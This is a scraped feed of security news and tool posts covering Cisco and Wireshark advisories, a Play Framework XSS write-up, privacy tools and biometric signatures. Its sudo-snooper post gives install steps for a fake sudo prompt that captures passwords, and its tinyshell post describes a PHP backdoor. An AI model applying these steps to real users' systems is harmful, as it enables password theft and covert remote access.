  1. 512 MB of memory
  2. 200 MB of free disk space
  3. Internet connection (optional for remote scanning)
  4. Windows XP, 2003, 2008, Vista, 7, 8 or 10.

Usage

Just run any of the Scan*.exe apps, which are located in the installation directory of Syhunt Hybrid, with no parameters to see usage instructions.

Supported Hunt Methods

For detailed information about scan methods, see the Hunt Methods page.

Scanning IPv6 addresses

Scanurl fully supports the scanning of IPv6 addresses. To scan an IPv6 target, enclose the address in square brackets, eg:
Scanurl http://[2001:4860:0:2001::68]

Black Box (Dynamic Scan)

  1. Go to the directory Syhunt Hybrid is installed using the command prompt.
  2. Use the following command-line:
 Scanurl [starturl] -hm:[a huntmethod]] -gr

Example:
Scanurl http://www.somehost.com -hm:appscan -gr

White Box (Source Code Scan)

  1. Go to the directory Syhunt is installed using the command prompt.
  2. Example command-line:
 Scancode C:\WWW\Docs\ -gr

Gray Box (Dynamic + Code Scan)

  1. Go to the directory Syhunt Hybrid is installed using the command prompt.
  2. Use the following command-line:
 Scanurl [starturl] -hm:[a huntmethod]] -srcdir:"[SourceDir]" -gr

Example:
Scanurl localhost -hm:appscan -srcdir:"C:\WWW\Docs\" -gr

Note: if you already entered the source code directory for the target host using the Syhunt Hybrid GUI in a past scan it is not necessary to assign it again using the -srcdir command.


Via:www.kitploit.com

Actualizaciones para múltiples dispositivos Cisco

$
0
0
Cisco ha publicado 17 boletines de seguridadpara solucionar otras tantas vulnerabilidades en múltiples productos que podrían permitir a atacantes provocar condiciones de denegación de servicio, ejecutar código arbitrario o acceder al dispositivo sin autorización. 

Los problemas críticos recaen en el software Cisco NX-OS. Además se han corregido vulnerabilidades de gravedad media en Cisco Unified Intelligence Center (CUIC), Cisco Nexus 9000, Cisco IOS XR, Cisco IOS e IOS XE, Cisco Firepower Management Center, Cisco Host Scan, Cisco IOS para Switches Catalyst 6500 y Routers 7600 y Cisco ASA.

Cisco NX-OS

Los problemas más graves afectan al software Cisco NX-OS. Por una parte una vulnerabilidad crítica, con CVE-2015-0721, en el subsistema SSH de la familia de productos Cisco Nexus que podría permitir a un atacante remoto autenticado evitar las restricciones AAA (Authentication, Authorization y Accounting).

Una segunda vulnerabilidad crítica (CVE-2016-1453) afecta únicamente a switches Cisco Nexus series 7000 y 7700 con Cisco NX-OS con la función OTV (Overlay Transport Virtualization) activa. Un desbordamiento de búfer por una validación inadecuada del tamaño de los parámetros de las cabeceras de los paquetes OTV, podría permitir a un atacante sin autenticar ejecutar código arbitrario.

De gravedad alta, otra vulnerabilidad (CVE-2015-6393) en la implementación del agente de relay DHCPv4 en el software Cisco NX-OS podría permitir a un atacante remoto sin autenticar provocar condiciones de denegación de servicio, mediante el envío de paquetes DHCPv4 específicamente construidos. También se ha corregido otro problema similar (CVE-2015-6392), igualmente de gravedad alta, en el tratamiento de DHCPv4.

Una última vulnerabilidad en el software Cisco NX-OS reside en la implementación del protocolo BGP (Border Gateway Protocol). Considerada de gravedad alta y con CVE-2016-1454podría permitir a un atacante remoto sin autenticar provocar condiciones de denegación de servicio. Se debe a una validación inadecuada de las entradas en los mensajes de actualización BGP.

Cisco ha publicado actualizaciones para los sistemas afectados.

Vulnerabilidades de gravedad media corregidas

En el software Cisco Unified Intelligence Center (CUIC) vulnerabilidades de Cross-Site Request Forgery (CVE-2016-6427) y Cross-Site Scripting (CVE-2016-6425). Otro problema (CVE-2016-6426) que podría permitir a un usuario remoto sin autenticar crear cuentas de usuario válidas

Una vulnerabilidad de obtención de información sensible en sistemas Cisco Nexus 9000 (CVE-2016-1455), escalada de privilegios en la interfaz de línea de comandos del software Cisco IOS XR (CVE-2016-6428) y denegación de servicio a través de IKEv2 en Cisco IOS e IOS XE (CVE-2016-6423).

Tres vulnerabilidades en la consola de Cisco Firepower Management Center que podrían permitir la inclusión local de archivos (CVE-2016-6435), salto de la autenticación (CVE-2016-6434) y ejecución remota de comandos (CVE-2016-6433).

Un salto de la funcionalidad ACL (Access Control List) en el software Cisco IOS de switches Cisco Catalyst serie 6500 y routers serie 7600 (CVE-2016-6422) y una denegación de servicio en el relay DHCP del software Cisco ASA (CVE-2016-6424).

Cisco ha publicado actualizaciones para todos los sistemas afectados por estos problemas, excepto para una vulnerabilidad de Cross-Site Scripting en el paquete Cisco Host Scan (CVE-2016-6436).

Más información:

Cisco Unified Intelligence Center (CUIC) Software Cross-Site Request Forgery Vulnerability

Cisco Unified Intelligence Center (CUIC) Software Unauthenticated User Account Creation Vulnerability

Cisco Unified Intelligence Center (CUIC) Software Cross-Site Scripting Vulnerability

Cisco Nexus 7000 and 7700 Series Switches Overlay Transport Virtualization Buffer Overflow Vulnerability

Cisco NX-OS Software-Based Products Authentication, Authorization, and Accounting Bypass Vulnerability

Cisco Nexus 9000 Information Disclosure Vulnerability

Cisco IOS XR Software Command-Line Interface Privilege Escalation Vulnerability

Cisco IOS and IOS XE IKEv2 Denial of Service Vulnerability

Cisco Firepower Management Center Console Local File Inclusion Vulnerability

Cisco Firepower Management Center Console Authentication Bypass Vulnerability

Cisco Firepower Threat Management Console Remote Command Execution Vulnerability

Cisco NX-OS Software Malformed DHCPv4 Packet Denial of Service Vulnerability

Cisco NX-OS Software Crafted DHCPv4 Packet Denial of Service Vulnerability

Cisco Host Scan Package Cross-Site Scripting Vulnerability

Cisco IOS Software for Cisco Catalyst 6500 Series Switches and 7600 Series Routers ACL Bypass Vulnerability

Cisco NX-OS Border Gateway Protocol Denial of Service Vulnerability

Cisco ASA Software DHCP Relay Denial of Service Vulnerability


Antonio Ropero

Twitter: @aropero

Via:unaaldia.hispasec.com

Play Framework: Un bug de XSS en el login "Secure" de tus aplicaciones Play

$
0
0
Play es un framework de aplicaciones webs de código abierto escrito es Scala v2 y Java v1 que sigue sigue un patrón de arquitectura Modelo Vista Controlador (MVC). Play Framework es un entorno de alta productividad y velocidad que cumple con las necesidades de los proceso de desarrollo ágil de software y que, además, integra componentes y APIs necesarias para el desarrollo moderno de aplicaciones webs, y que, como muchos otros, cuenta incluso con una integración de Latch en él.

Figura 1: Play Framework. Un bug de XSS en el login "Secure" de tus aplicaciones Play

Hace varios meses atrás reportamos el segundo XSS en el framework de Play - tiempo atrás ya habíamos reportado otro del que os hablé en el artículo "Play Framework: Ataque de Phishing usando un bug de XSS" , siendo este segundo un poco más crítico que el primero. En esta ocasión, el vector de ataque para conseguir explotar el bug de XSS ha sido la cookie y la forma de explotarlo consistía en modificar el valor de la misma para que sea enviada contra el backend del login y verla reflejada en la respuesta.


Figura 2: Playtch. Integración de Latch en Play Framework

Con este entorno a lo más que a priori se podría aspirar parecía ser solo un Self-XSS, lo que hacía que en un escenario resultara de poca utilidad. Sin embargo, en este artículo pretendo exponer cómo logramos pasar de explotar un “Self-XSS” a una especie de “XSS reflejado-persistente”.

PoC: De Self-XSS a XSS reflejado-persistente

Antes que nada vamos a dar un repaso a lo que sucede con el framework para que se pueda inyectar código con este bug. La característica que lo hace vulnerable a este ataque es el encadenamiento de dos factores que paso a contaros. El primero de ellos es que Play prioriza los mensajes de error y éxito transmitidos mediante la cookie PLAY_FLASH enviada en una petición, por delante de los mensajes establecidos en su propio fichero de configuración. De hecho, ésta es la solución que propone el framework de Play en las versiones parcheadas contra este bug.

El segundo factor es que cuando son impresos estos mensajes de error y éxito en la respuesta no pasan ningún tipo de validación. Para evitar el éxito de este ataque, como hemos comprobado, bastaría con realizar un proceso de encoding en la impresión del mensaje de error y de éxito y el problema quedaría resuelto - siempre y cuando se quisiese seguir transmitiendo los mensajes de error y éxito mediante esta cookie -.

Figura 3: Workarround propuesto para evitar este bug

Dándole unas vueltas para intentar explotar el fallo como algo más que un Self-XSS me percaté de un comportamiento de Play Framework que me hizo indagar en el proceso que se produce cuando un usuario trata de realizar login, ya que resulta que al enviar contra el login los parámetros username, password y autenticateToken, independientemente de ser dichos valores correctos o no, se puede enviar el parámetro "error" o "success". Lo que se obtiene como resultado es que Play Framework en la respuesta los configura como variables en la cookie FLASH. ¡Bingo!

Como he comentado antes, el problema en un principio estaba en que era necesario modificar a mano la cookie añadiendo la inyección Javascript, pero con este comportamiento esto queda resuelto resuelto ya que es posible modificar el valor de dicha cookie a través de un intento de login. Con esto ya resuelto solo sería cuestión de realizar una petición contra el login, enviando adicionalmente el parámetro "error" con nuestro payload XSS como valor. Hecho esto, vemos como en la respuesta el servidor pone en la cookie la inyección y se sobrepone a los mensajes de error del fichero de configuración, quedando reflejado el payload en la respuesta, tal que así.


Figura 4: Esquema del ataque para inyectar el payload XSS

Con este proceso de explotación se consigue que se pueda realizar un ataque de XSS nada más y nada menos que contra el proceso de login de todas las aplicaciones desarrolladas con Play Framework no parecheadas utilizando el módulo Secure.

Figura 5: PoC de cómo se inyecta el payload XSS en la respuesta

Aún continué intentando darle una vuelta de tuerca al proceso para ver si se podía propagar el ataque XSS por todas las páginas de la aplicación y, por qué no, por todos las aplicaciones hechas con Play Framework bajo los subdominios. Para eso hice una serie de pruebas.

Haciendo persistente la inyección XSS en la cookie

Con ellas tenía como objetivo principal conseguir que después de recargar la página de login no se perdiera la inyección, o lo que es lo mismo, no perder la cookie con el valor configurado, ya que resultaba que una vez realizada la inyección, la cookie desaparecí.  Este no es un comportamiento extraño en las cookies de tipo Flash, es más, dicho comportamiento lo tienen descrito en la documentación de Play Framework.

Figura 6: Ambito de las cookies Flash

Por lo tanto, al encontrarme ante el problema de la no propagación de la cookie por el resto del sitio web, solo quedaba conformarnos con volver a configurar la cookie mediante la inyección inicial otra vez, de tal forma que incluso recargando la página el XSS volviese a estar presente en la respuesta y así sucesivamente a modo de bucle. El proceso sería
Paso 1: Inyección inicial a través del parámetro que pasará a la cookie y con ello al HTML de la respuesta. 
Paso 2:Play Framework borra esa cookie pero la inyección con código el payload de Javascript malicioso ya se encuentra en la página, con lo que se interpretará por el navegador. En el payload XSS, mediante una instrucción document.cookie=X_FLASH volvemos a establecer la misma cookie Flash con el código Javascript del payload XSS otra vez. 
Paso 3: Al recargar la página dará como resultado nuevamente el borrado de la cookie, la inyección mediante la explotación del bug XSS y restablecimiento de la cookie maliciosa gracias al payload Javascript inyectado. Y así una vez tras otra indefinidamente.
Ya habrán observado que no nos conformamos con poco, por lo que le di una vuelta de tuerca más si cabe, y para nuestra alegría comprobamos que los mensajes de error y éxito aparecían por toda la web desarrollada con Play Framework. Esto significaba que tal vez, tras ser inyectada mediante el login, se podía conseguir propagar la cookie por todas las vistas.

Pero claro, esta labor se nos iba a complicar un poco por la naturaleza de la cookie FLASH. Y es que en cualquier redirección donde no se imprimiera nuestra inyección en la respuesta significa inmediatamente la no propagación del ataque. Por ejemplo, tras realizar un proceso de autenticación entrando con usuario y contraseña válidos, el servidor devuelve en la respuesta un código 302 Redirect, junto con la cabecera Location dirigiéndonos a la raíz y en ese paso intermedio perderíamos nuestra preciada cookie.

Parchea tus aplicaciones con Play Framework

Como conclusión personal, ha sido una de esas explotaciones de las que te llenan como pocas y que, con cierta fortuna, se han dado varias condiciones para tener el escenario perfecto y así poder concatenar varios trucos hasta conseguir explotar un XSS más allá del Self-XSS. Al final, el impacto: de este bug de XSS es tan grande como que afecta a cualquier aplicación que use la página de login por defecto del módulo Secure de Play Framework vulnerable a ataques de XSS

Figura 7: Expediente de este bug de XSS en Play Framework

El expediente del bug que se publicó cuando lo reportamos este año lo tenéis en la zona de Security de Play Framework, y las versiones afectadas en concreto son: Play 1.2.0 - 1.2.7, Play 1.3.0 - 1.3.3 y Play 1.4.0 - 1.4.1

Autor: Ricardo Martín (@ricardo090489)
Senior Security QA Pentester en ElevenPaths

Via:www.elladodelmal.com

sudo-snooper - Python script to fool sudo users

$
0
0

sudo-snooper acts like the original sudo binary to fool users into entering their passwords.
It will show a fake prompt just like the original to the user to enter their sudo password.
This can be useful in penetration tests or security evaluations for testing user knowledge.

Installation steps

Option 1 - Install in place of the real sudo (harder but less obvious)
You need root access for this install option
  • move the original sudo binary to another name
# mv /usr/bin/sudo /usr/bin/somename
  • change the parameters in the file to your liking
Change these in sudo-snooper.py:
dumpdir = "/tmp/.snooper"
dumpfile = "/tmp/.snooper/dump.txt"
sudo = 'sudo'
  • install the python file in /usr/bin/sudo (or wherever sudo was before)
# install -dm755 sudo-snooper.py /usr/bin/sudo
  • give the necessary permissions to the python file
    You can go fancy here and make a non-readable executable file for users, but I'm not going into that. Check some of the answers here for that.
NOTE : A somewhat more convincing way to install this is to compile it using pyinstaller so that it doesn't show up as a python file when file /usr/bin/sudo is executed.
To do that under Archlinux: pyinstaller --onefile sudo-snooper.py will work. However please note that once compiled you won't be able to change the parameters in the compiled binary.

Option 2 - Alias the sudo command (easier but somewhat more noticable)
This option is easier to do and more portable, however it might be more noticable to careful users.
Edit the .rc file of the shell the user is using (can be .bashrc .zshrc and so on) and add the following:
alias sudo='python3.5 /path/to/sudo-snooper.py'
Make sure sudo-snooper.py has the correct permissions.

Usage:
Once installed, sudo-snooper can be called just like the normal sudo.
For example, running
sudo vim /etc/resolv.conf
will result in sudo-snooper being called (assuming it's properly installed).
It will ask for the user password and then execute the command by redirecting to the real sudo binary if the password is correct.
You can then retrieve the user password by reading the dump file in the settings.

TODO:
  • handle when user enters wrong password
  • don't ask for a password when the user has an active sudo session instead of this, now removes the cached credentials



Via:www.kitploit.com

Wireshark corrige dos nuevas vulnerabilidades

$
0
0
Wireshark Foundation ha publicado la versión 2.1.1 que incluye la corrección de dos vulnerabilidades que podrían provocar condiciones de denegación de servicio.

Wireshark es una popular aplicación de auditoría orientada al análisis de tráfico en redes, que soporta una gran cantidad de protocolos y es de fácil manejo. Además Wireshark se encuentra bajo licencia GPL y disponible para la mayoría de sistemas operativos Unix y compatibles, así como Microsoft Windows.

En esta ocasión la fundación Wireshark ha publicado dos boletines de seguridad (wnpa-sec-2016-56 y wnpa-sec-2016-57) que afectan a la nueva rama 2.2.0, publicada en septiembre. También se ha publicadola versión 2.0.7, que aunque no soluciona ninguna vulnerabilidad corrige otros fallos de funcionalidad.

Como es habitual, las vulnerabilidades corregidas residen en denegaciones de servicio por fallos en la implementación de disectores, que son los módulos responsables de analizar los paquetes de cada uno de los protocolos. En esta ocasión los disectores y protocolos afectados son Bluetooth L2CAP y NCP. También se ha solucionado diferentes problemas no relacionados directamente con vulnerabilidades de seguridad.

Las vulnerabilidades mencionadas se han solucionado en la versión 2.2.1. Esta versión, junto con la 2.0.7 están disponibles para descarga desde la página oficial del proyecto.

Hay que recordar que Wireshark 1.12 alcanzó su final de vida el 31 de julio, por lo que ya no recibe actualizaciones. Se recomienda a los usuarios de esta rama actualizar a Wireshark 2.2.0.

Más información:

una-al-dia (09/09/2016) Publicadas nuevas versiones de Wireshark

Wireshark 2.2.1 Release Notes

wnpa-sec-2016-56 · Bluetooth L2CAP dissector crash

wnpa-sec-2016-57 · NCP dissector crash

Wireshark 2.0.7 Release Notes


Antonio Ropero
Twitter: @aropero



Via:unaaldia.hispasec.com

Hack Your Future!: Una charla con ideas personales sobre cómo hacerlo bien en el mundo profesional

$
0
0
Cómo sabéis los que lleváis tiempo pasándoos por este blog a leer mis cosas, de vez en cuando os doy opiniones personales sobre el mundo laboral o académico. Todas estas son ideas mías que no deben por qué ser aplicables a nadie más, pero las recojo para que los que me piden un pensamiento al respecto sepan cuál es mi posición. Con todas ellas intenté hacer una charla para las jornadas de KeepCoding Connect 2016, donde me pidieron mi participación con una charla "inspiracional" y distinta para nuevos - y no tan nuevos - profesionales de la tecnología.

Figura 1: Hack Your Future! Una charla con ideas personales
sobre cómo hacerlo bine en el mundo profesional

La charla se llamó Hack Your Future! y en ella puse muchas de las ideas refleadas en una serie de textos como el de "Consejos Malignos para tu etapa formativa y profesional" (y en los artículos enlazados en éste), en de "El Señor Lobo: soluciono problemas", sobre la pasión por la informática desde muy pequeño, y sobre muchas otras pequeñas ideas que normalmente uso como base en mi día a día. Estas son las diapositivas (con la fuente cambiada).


La presentación en vídeo la he subido a mi Canal Youtube, y podéis leer un resumen de las diez ideas principales en el artículo que hizo Fernando en Cocoa Mental, por si queréis un resumen de ellas tomado en directo por uno de los asistentes.


Figura 3: Hack your Future! en KeepCoding Connect 2016

Como digo al principio del vídeo, son ideas personales, nada de reglas o cosas que puedan extrapolarse masivamente a todas las demás personas. Cada uno somos diferentes, y cada uno necesitamos diferentes motores para vivir. Yo solo hablo de las cosas que para mí son importantes en el mundo de la tecnología.

Saludos Malignos!

Via:www.elladodelmal.com

anonym8 - Transparent Proxy through TOR, I2P, Privoxy, Polipo and modify DNS

$
0
0

Transparent Proxy through TOR, I2P, Privoxy, Polipo and modify DNS, for a simple and better privacy and security; Include Anonymizing Relay Monitor (arm), macchanger, hostname and wipe (Cleans ram/cache & swap-space) features. Tested on Debian, Kali, Parrot to use the graphical interface, you'll need to install separately GTKdialog and libvte.so.9 and i2p

Script requirements are:
  • Tor        
  • macchanger 
  • resolvconf 
  • dnsmasq    
  • polipo     
  • privoxy           
  • arm        
  • libnotify  
  • curl
  • bleachbit

they'll be automatically installed.
Open a root terminal and type:
cd anonym8_directory I.Ex: cd /home/toto/Desktop/anonym8-master
chmod +x INSTALL.sh
bash INSTALL.sh

you're done!

For more security, use Firefox!
here's some useful Firefox add on:
profil manager => https://ftp.mozilla.org/pub/utilities/profilemanager/1.0/
random agent spoofer =>https://addons.mozilla.org/en-US/firefox/addon/random-agent-spoofer/ 
no script =>https://addons.mozilla.org/en-US/firefox/addon/noscript/
ublock origin =>https://addons.mozilla.org/en-US/firefox/addon/ublock-origin/
HTTPS everywhere =>https://addons.mozilla.org/fr/firefox/addon/https-everywhere/ 

Reboot your system and enjoy!

@HiroshimanRise
#anonym8 (Privacy Friend)


Via:www.kitploit.com

El CCN-CERT publica Informe sobre los riesgos en el uso de WhatsApp

$
0
0
El CCN-CERT ha publicadoun informe sobre los riesgos en el uso de WhatsApp en el que da a conocer los problemas de seguridad más conocidos y habituales del conocido programa de mensajería. También ofrece recomendaciones de seguridad para ayudar a prevenir cualquier posible incidente.

El CCN-CERT es la Capacidad de Respuesta a Incidentes de Seguridad de la Información del Centro Criptológico Nacional, CCN (www.ccn.cni.es). Este servicio se creó en el año 2006 como el CERT Gubernamental español. El CCN-CERT tiene responsabilidad en ciberataques sobre sistemas clasificados y sobre sistemas de las Administraciones Públicas y de empresas y organizaciones de interés estratégico para el país.

En la actualidad WhatsApp no necesita presentación, la mayoría de usuarios de dispositivos móviles con conexión a Internet optan por utilizar WhatsApp y abandonar los SMS. WhatsApp se ha convertido en una de las diez aplicaciones más descargadas en 16 países e incluso es la más descargada en cinco de ellos. Pero a la vez WhatsApp es propenso a situarse en el punto de mira de los ciberatacantes que intentan obtener datos e información de sus usuarios.

El informe señala que la compartición de información personal sensible que se produce a diario en esta plataforma, junto con la escasa percepción de riesgo que los usuarios tienen con los dispositivos móviles, ha convertido a WhatsApp en un entorno atractivo para intrusos y ciberatacantes.

El documento, de 21 páginas, incide en los siguientes problemas de seguridad del servicio:
  • Secuestro de cuentas aprovechando fallos de la red
  • Borrado inseguro de conversaciones
  • Difusión de información sensible durante la conexión inicial
  • Robo de cuentas mediante SMS y acceso físico
  • Robo de cuentas mediante llamada y acceso físico
  • Peligros de la descarga de WhatsApp de markets no oficiales
  • Ataques de phishing utilizando WhatsApp web
  • Almacenamiento de la información en la base de datos
  • Intercambio de datos personales entre WhatsApp y Facebook
  • Otros fallos de seguridad anteriores 

Por último se incluye un apartado con unas breves recomendaciones adicionales útiles para cualquier usuario de teléfonos móviles.

El Informe está disponible para su descarga desde:
Un material de gran ayuda para el uso seguro de la popular aplicación.

Este informe se une a una serie de documentos publicados por el CCN-CERT en su portal (https://www.ccn-cert.cni.es/informes/informes-ccn-cert-publicos.html) sobre las principales amenazas detectadas en estos momentos en materia de ciberseguridad.

Más información:

Informe de Amenazas CCN-CERT IA-21/16
Riesgos de uso de WhatsApp




Antonio Ropero
Twitter: @aropero

Via:unaaldia.hispasec.com

SealSign BioSignature: Firma manuscrita biométrica en iPad Pro #Apple #iPad #Biometría

$
0
0
Hace ya dos años que presentamos en ElevenPaths la llegada de SealSign BioSignature, un sistema que permite reconocer la biometría de la firma manuscrita en un dispositivo móvil o tablet para poder firmar documentos o autenticar usuarios por medio de sistemas que evntien los ataques "Ruber Hose". Desde entonces el trabajo ha sido largo con esta tecnología y hemos ido realizando proyectos y avances en la misma, como os hemos ido contando.

Figura 1: SealSign BioSignature: Firma manuscrita biométrica en iPad Pro

Para poneros un poco en situación, la idea es tan sencilla como que una persona firme en dispositivo móvil o tablet, y por medio de los algoritmos SealSign BioSignature sea capaz de, en primer lugar, capturar de la firma todos los detalles y minucias del grafo dibujado, la velocidad y la presión en los ejes X e Y para obtener la huella biométrica de esa firma.


Figura 2: Demo de SealSign en una tablet y página web

Esto permite que, cuando se ha hecho la firma en frente de una persona autorizada para el control, se pueda garantizar que se obtenido de la persona correcta y con todo lujo de datos para que un perito calígrafo pudiera verificarla en un proceso de impugnación. En el siguiente vídeo puedes ver el ejemplo con una app en una tabletSamsung con Android.


Figura 3: Demo de verificación de firmas en tablet Android

Un ejemplo de este sistema es la aplicación de falsificadores que enseñamos en el Mobile World Congress de 2015, donde el rey Felipe VI tenía que intentar falsificar una firma del entonces presidente de Telefónica, César Alierta. Aquí tenéis la demo.


Figura 4: Prueba del Rey Felipe VI a SealSign BioSignature

Como caso de uso de SealSign BioSignature en el que el máximo interés es recoger una firma en un documento para garantizar que la persona que ha firmado el documento es consciente de ello, hay que citar el sistema de consentimiento informado que se usa en los hospitales, como se explica en el siguiente vídeo.


Figura 5: Uso de SealSign BioSignature en recogida de Consentimientos Informados

En este modo de funcionamiento SealSign BioSignature está implantado en hospitales y se usa para que cuando el doctor debe informar al paciente del tratamiento al que va a ser sometido pueda recoger el factultativo la firma de los pacientes de forma segura. De esto dimos una sesión en las ElevenPaths Talks explicando el proceso detallado.


Figura 6: Firma digital en el ámbito sanitario

En segundo lugar, con esa firma caligráfica se puede llegar a saber si una nueva firma es o no es perteneciente a la misma persona, lo que lo convierte en un poderoso sistema de autenticación basada en biometría de hábitos tan usados hoy en día, como podría ser la forma en cómo se pulsan las teclas, cómo coges el terminal móvil o cómo mueves el dedo a lo largo de una tablet. 


Figura 7: Autenticación con firma para acceder a los caramelos

Uniendo el sistema de firma manuscrita biométrica al de firma con certificados digitales, el resultado es un sistemas de firma robusto y usable que permite autorizar el uso del certificado digital mediante la autenticación de por la biometría de la firma manuscrita.


Figura 8: Firma digital manuscrita + certificado digital

Esta solución que aúna la biometría de la firma digital manuscrita más el uso de firma digital con certificados digitales ya está implantado con SealSign en la Administración Pública de España, y de eso ya os hablamos en el último Security Day 2016 en el que Joseba García Celada, responsable de este proyecto, explicaba su funcionamiento y cómo se está usando.


Figura 9: Firma digital en la Administración Pública de España con SealSign

Además, usando este sistema en un tablet, permite la firma masiva de documentos utilizando este sistema robusto doble de firma de documentos usando un certificado digital autorizado por la firma manuscrita.


Figura 10: Firma digital masiva de documentos con SealSign BioSignature

Ahora, tras reunirnos con la unidad de empresas para Apple en España, decidimos dar un paso más y firmar un acuerdo de comercialización conjunto para vender terminales iPad Pro como plataforma de firma digital de documentos utilizando SealSign BioSignature, y desde ya está disponible para aquellos que quieran tenerlo.


Figura 11: SealSign BioSignature en Apple iPad Pro

Al final, SealSign BioSignature permite usar tabletas digitalizadoras como se ve en el vídeo de la Figura 2, tablets Android o iPad Pro, lo que amplía el ecosistema de dispositivos, pero lo más importante de SealSign es que es también una plataforma con un "Engine" para la firma digital centralizada usando certificados digitales o firma manuscrita y con el añadido de tener un sistema de almacenamiento longevo de documentos, lo que permite adaptarla a cualquier proceso.


Figura 12: Arquitectura y Administración de la plataforma SealSign BioSignature

Si quieres conocer más sobre cómo integrar esta plataforma en tus sistemas de negocio o conocer más de SealSign, puedes ponerte en contacto con nosotros o ver los recursos disponibles. Recuerda que la puedes integrar incluso con una máquina de caramelos.
- Comunidad de SealSign en ElevenPaths
- Cómo integrar SealSign Engine en aplicaciones .NET
- Cómo integrar SealSign BioSignature en aplicaciones .NET
- Cómo integrar SealSign Engine en aplicaciones Java y Web
- Cómo integrar SealSign BioSignature en aplicaciones Java y Web
- Cómo integrar SealSign bioSignature en el mundo IoT
Saludos Malignos!

Via:www.elladodelmal.com

tinyshell - Python Client with PHP Shell

$
0
0

python Client with php shell , allows to connect and send commands over current protocol using POST and GET Requests

Features
  1. connect with direct session with no need for reverse connection .
  2. support password protection .
  3. can be binded to any file with no damage .
  4. using GET/POST request with error handling .

Usage
the project contains of two files :
  1. Remote shell python file : considered as Client to connect with target python remote shell.py url password
  2. php shell php file : considered as php backdoor . password can be edited manually by modifing the code .

Credits
Lawrence Amer - Vulnerability Lab Researcher .

Video



Via:www.kitploit.com

Newsletter Criptored del mes de septiembre de 2016

$
0
0
Newsletter de septiembre de 2016 de la actividad desarrollada en Criptored. Estas noticias las podrá encontrar en el histórico de Criptored del mes de septiembre de 2106 en este enlace.

Actividad en el web de Criptored durante el mes de septiembre de 2016.
28/09/16: Torneo de Desarrollo Seguro de Software en CyberCamp 2016 (España).
27/09/16: Preparando el Hackathon de CyberCamp 2016 (España).
26/09/16: Publicado el quinto Cripto-reto de Criptored (España).
23/09/16: Sexta edición del congreso Navaja Negra en Albacete (España).
21/09/16: Publicada la octava lección Algoritmos de cifra por sustitución monoalfabética del MOOC Crypt4you (España).
21/09/16: Publicado el libro Manual de un CISO Chief Information Security Officer, de Jeimy Cano (Colombia).
15/09/16: Disponible el programa de las ponencias de la RECSI 2016 en Mahón (España).
07/09/16: Publicada la píldora formativa Thoth 38 ¿Qué es el intercambio de clave de Diffie y Hellman? (España).
01/09/16: Informe Estudio de la Oferta de Certificaciones en Seguridad Informática del Proyecto MESI (España).
01/09/16: Newsletter de la actividad de Criptored en los meses de julio y agosto de 2016 (España).

También puede encontrar estas y otras noticias de la actividad de Criptored en la sección Debates del grupo en LinkedIn en el siguiente enlace:



Dr. Jorge Ramió, Dr. Alfonso Muñoz

Via:unaaldia.hispasec.com

Controla tu BIOS/UEFI con Libreboot

$
0
0
La mayoría de la gente usa un firmware de arranque propietario y, aunque use un sistema operativo libre, en el inicio está sujeto al software cerrado del fabricante como una caja negra que puede contener backdoors o fallos o bugs críticos. ¿Por qué no usar entonces una BIOS/UEFI que podamos estudiar, controlar y adaptar a nuestras necesidades?

Libreboot es un reemplazo gratuito de la BIOS o UEFI; un firmware libre y de código abierto que inicializa el hardware y un gestor de arranque para el sistema operativo.

Originalmente Libreboot comenzó en diciembre de 2013 como un esfuerzo comercial del llamado Ministerio de la Libertad instalándolo en un ThinkPad X60 modificado (el primer sistema que se añadió libreboot).

En aquel entonces, no existía el nombre libreboot; el proyecto no tenía nombre, refiriéndose a sí mismo como una versión "deblobbed" de Coreboot. El proyecto empezó a llamarse libreboot a principios de 2014, y desde entonces se ha expandido rápidamente para soportar más hardware y ser más fácil de usar.

Libreboot es una distribución Coreboot con el software propietario eliminado, con la intención de ser un reemplazo libre de la "BIOS" del equipo. El proyecto está dirigido a los usuarios, tratando de hacer Coreboot tan fácil de usar como sea posible.

Libreboot tiene muchas ventajas prácticas sobre el firmware de arranque patentado, tales como una velocidad de arranque más rápida y mejor seguridad. Puedes instalar GNU/Linux con arranque cifrado, verificar las firmas GPG en el kernel, poner un kernel en el chip flash y más. Sin duda merece la pena echarle un vistazo ¿o no?:

Proyecto: https://libreboot.org/
Código fuente:https://notabug.org/vimuser/libreboot-website

Referencias:
- ¿Cómo instalo Libreboot en mi IBM Thinkpad X60 o Lenovo T60?
- Libreboot: La visión de un BIOS «libre» y «open source»
- Vamos a instalar LibreBoot en una ThinkPad
- Libreboot Leaves The GNU, The Free Software Foundation Denounced

Via:www.hackplayers.com
Viewing all 1954 articles
Browse latest View live